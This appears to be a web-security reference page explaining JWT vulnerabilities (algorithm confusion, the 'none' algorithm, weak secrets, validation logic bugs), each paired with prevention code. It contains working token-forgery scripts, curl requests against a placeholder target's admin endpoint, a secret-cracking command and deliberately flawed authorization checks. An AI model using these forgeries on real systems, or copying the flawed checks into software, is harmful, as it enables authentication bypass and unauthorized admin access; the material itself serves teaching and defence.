JWT Vulnerabilities
JSON Web Tokens (JWT) are used for authentication. Common implementation flaws allow attackers to forge tokens, bypass validation, or crack weak secrets.
JWT Structure
[Header].[Payload].[Signature]Algorithm Confusion (RS256 → HS256)
Server uses
RS256(asymmetric) with public/private keys, but also acceptsHS256(symmetric).Attacker changes algorithm to
HS256and uses thePUBLIC KEYas the secret.
public_key = open('public.pem').read()
jwt.decode(token, public_key, algorithms=['RS256', 'HS256']) # Accepts both!curl https://target.com/login -d "user=test&pass=test"curl https://target.com/.well-known/jwks.json > public.pemecho "eyJhbG..." | base64 -d
# Note current algorithm: RS256python3 << EOF
import jwt
public_key = open('public.pem', 'rb').read()
payload = {'sub': 'admin', 'role': 'admin'}
# Use public key as HMAC secret
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
EOFcurl https://target.com/admin \
-H "Authorization: Bearer <forged_token>"Prevention
jwt.decode(token, public_key, algorithms=['RS256']) # No alternativesNone Algorithm
JWT spec allows alg: none for unsigned tokens. Some libraries accept these as valid.
import base64
import json
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "admin", "role": "admin"}
header_b64 = base64.urlsafe_b64encode(
json.dumps(header).encode()
).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()
).decode().rstrip('=')
# Note the trailing period (no signature)
token = f"{header_b64}.{payload_b64}."
print(token)curl https://target.com/admin \
-H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9."Prevention
jwt.decode(token, secret, algorithms=['HS256']) # 'none' not in listWeak Secrets
JWT signed with weak/common secrets can be brute-forced to reveal the secret, allowing token forgery.
secret
secret123
password
test
jwt_secret
your_secret_key_here
myapikey
default
adminUsing jwt_tool to find SECRET
git clone https://github.com/ticarpi/jwt_toolpython3 jwt_tool.py <TOKEN> -C -d /path/to/wordlist.txtOnce Secret Found forge a new one
import jwt
SECRET = "secret123" # Cracked secret
# Forge admin token
payload = {
'sub': 'admin',
'role': 'admin',
'exp': 9999999999
}
forged = jwt.encode(payload, SECRET, algorithm='HS256')
print(forged)Prevention
Generate strong random secret (
32+bytes)Store in environment variable
Logic Flaws in Validation
Bugs in custom JWT validation logic allow bypassing authentication.
@token_required
def protected_endpoint():
token = request.args.get('token')
if not token:
return jsonify({'message': 'Token is missing!'}), 401
try:
data = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
# LOGIC BUG Inverted boolean logic
if not data.get('is_admin') and data.get('username') == 'dummy':
return jsonify({'message': 'Admin access required!'}), 403
except:
return jsonify({'message': 'Token is invalid!'}), 401
# Process request...The Bug:The condition blocks access when:
is_adminis False/missing ANDusername == 'dummy'
But ALLOWS access when:
is_adminis True (any username)OR username is NOT
'dummy'
Missing Null Checks
if 'admin' in user.roles: # What if roles is None?
grant_access()if user.roles and 'admin' in user.roles:
grant_access()Type Confusion
if user_id == 1: # What if user_id is "1" (string)?
grant_admin()if user_id == 1 and isinstance(user_id, int):
grant_admin()Incorrect Operator
if not is_admin or username != 'guest':
allow()if is_admin and username != 'guest':
allow()Prevention
def validate_jwt(token):
try:
data = jwt.decode(
token,
SECRET_KEY,
algorithms=['HS256'],
options={
'require': ['exp', 'iat', 'sub'],
'verify_exp': True,
}
)
# Explicit positive checks
if data.get('role') != 'admin':
raise Unauthorized('Admin role required')
if not isinstance(data.get('user_id'), int):
raise Unauthorized('Invalid user_id type')
if data.get('user_id') <= 0:
raise Unauthorized('Invalid user_id value')
return data
except jwt.ExpiredSignatureError:
raise Unauthorized('Token expired')
except jwt.InvalidTokenError:
raise Unauthorized('Invalid token')Last updated